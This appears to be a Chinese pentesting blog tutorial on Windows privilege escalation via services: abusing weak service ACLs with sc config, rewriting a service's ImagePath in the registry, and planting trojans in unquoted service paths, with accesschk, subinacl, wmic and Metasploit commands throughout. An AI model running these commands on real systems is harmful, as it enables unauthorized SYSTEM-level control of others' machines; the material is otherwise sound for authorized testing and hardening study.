利用系统服务进行提权

用户配置不当导致的不安全服务

        利用用户在配置服务时的疏忽,使得低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG)或完全控制权限(SERVICE_ALL_ACCESS)。从而替换掉该服务所要启动的程序进行提权

原理

        系统安装的应用软件会进行服务注册,大多数服务在计算机开机时以system权限启动,服务被注册时会在下面路径进行注册表创建。  Windows 系统服务在操作系统启动时运行,并在后台调用其相应的二进制文件,如图一所示,那么我们可以让服务在启动时运行木马程序进行提权

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
图一

出现前提

        ACL定义了安全对象的访问控制策略;目标主机的用户在 配置 服务时存在 疏忽 ,使得低权限用户对高权限下运行的系统服务拥有更改 服务配置的权限( SERVICE_CHANGE_CONFIG) 或完全控制权限(SERVICE_ALL_ACCESS)。可以用 AccessChk枚举 目标主机上存在权限缺陷的系统服务; AccessChk 常用来枚举或查看系统中指定用户、组对特定资源
        低权限用户可以检查 “Authenticated Users” 组和 “INTERACTIVE” 组对系统服务的权限。前者为经 过身份验证的用户,包含系统中所有使用用户名、密码登录并通过身份验证的账户,但不包括来宾账 户;后者为交互式用户组,包含系统中所有直接登录到计算机进行操作的用户。默认情况下,这两个组 为计算机本地“Users” 组的成员。

工具

Subinacl 是微软提供的用于对文件、注册表、服务等对象进行权限管理的工具软件,我们利用该工具 来分配一些权限
subinacl.exe /service phpstudysrv /grant="Authenticated Users"=W

步骤

#上传木马反向连接,用msf监听端口
#确定权限
getuid
#上传 AccessChk工具到目标服务器
upload /root/upgrade/accesschk.exe ./
# AccessChk枚举 目标主机Authenticated Users组存在权限缺陷的系统服务;也可以单独查某个用户
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
#注释:如果存在SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS就继续下述操作,不存在就放弃
#上传一个新的木马并监听该端口
#替换目标服务下的程序
sc config phpstudysrv binpath= "C:\phpstudy_pro\WWW\pikachu\vul\rce\7777.exe "
#等待目标机上线或者手动重启(用户对目标服务 拥有 SERVICE_STOP SERVICE_START 权限

net stop <服务名称>

net start <服务名称>

accesschk.exe参数说明

说明

-a

名称是Windows帐户权限。 指定 "*" 为显示分配给用户的所有权限的名称。 请注意,指定特定权限时,仅显示直接分配给右侧的组和帐户。

-c

名称是Windows服务,例如。 ssdpsrv 指定 "*" 为显示所有服务的名称,并 scmanager检查服务控制管理器的安全性。

-d

仅处理目录或顶级密钥

-e

仅显示(Windows Vista 及更高级别的显式设置完整性级别)

-f

如果如下所示 -p ,则显示完整的进程令牌信息,包括组和特权。 否则为要从输出中筛选的逗号分隔帐户的列表。

-h

名称是文件或打印机共享。 指定 "*" 为显示所有共享的名称。

-i

在转储完全访问控制列表时,仅忽略仅继承ACE 的对象。

-k

名称是注册表项,例如 hklm\software

-l

显示完整的安全描述符。 添加 -i 以忽略继承的ACE。

-n

仅显示没有访问权限的对象

-o

名称是对象管理器命名空间中的对象, (默认值为根) 。若要查看目录的内容,请使用尾随反 斜杠或添加 -s 指定名称。 添加 -t 和对象类型 (,例如节) 仅查看特定类型的对象。

-p

名称是进程名称或 PID,例如 cmd.exe , (指定 "*" 为显示所有进程) 的名称。 添加 -f

以显示完整的进程令牌信息,包括组和特权。 添加 -t 以显示线程。

-q

省略横幅

-r

仅显示具有读取访问权限的对象

-s

Recurse

-t

对象类型筛选器,例如 "section"

-u

禁止显示错误

-v

详细(包括Windows Vista 完整性级别)

-w

仅显示具有写入访问权限的对象

修改注册表进行提权

原理

        注册表使用ACL 来管理用户对其所拥有的访问 权限。如果注册表的ACL 配置错误,导致 低权限用户对服务的注册表拥有写入权限 ,此时可以通过修改注册表来更改服务配置。例如,修改注册表中的 ImagePath 键,从而 变更服务启动时的二进制文件路径
权限注册表地址:HKLM\SYSTEM\CurrentControlSet\Services

步骤

利用msf进入监听模块,再进入shell

#查看哪些服务的注册表可以利用

accesschk64.exe /accepteula -uvwqk "test1" HKLM\SYSTEM\CurrentControlSet\Services

#发现对phpstudysrv服务的注册表有修改权限,进行攻击

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\phpstudysrv /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /c [木马绝对路径]" /f
重启服务等待上线

利用未引用的服务路径进行提权

        理论上讲,如果一个服务的可执行文件的路径没有用双引号封闭,并且包含空格,那么这个服务就是有漏洞的。我们可以对有空格的上级目录上传木马进行提权
例如、对于路径 C:\Program Files\Sub Dir\Program Name.exe ,系统依次寻找并执行以下程序
C:\Program.exe
C:\Program Files\Sub.exe
C:\Program Files\Sub Dir\Program.exe
C:\Program Files\Sub Dir\Program Name.exe

手动攻击

#寻找没有加引号的服务路径

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
#在给出的信息中找到有空格的路径

#用 Accesschk 检查受影响的目录,查看当前用户对受影响的目录是否拥有完全控制权限
accesschk.exe /accepteula -quv " 用户名 " "服务路径目录"
#向上级目录上传木马
#等待服务重启上线

利用msf自动化开始攻击

将原本的会话挂起 background
use windows/local/unquoted_service_path
设置 session
run

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值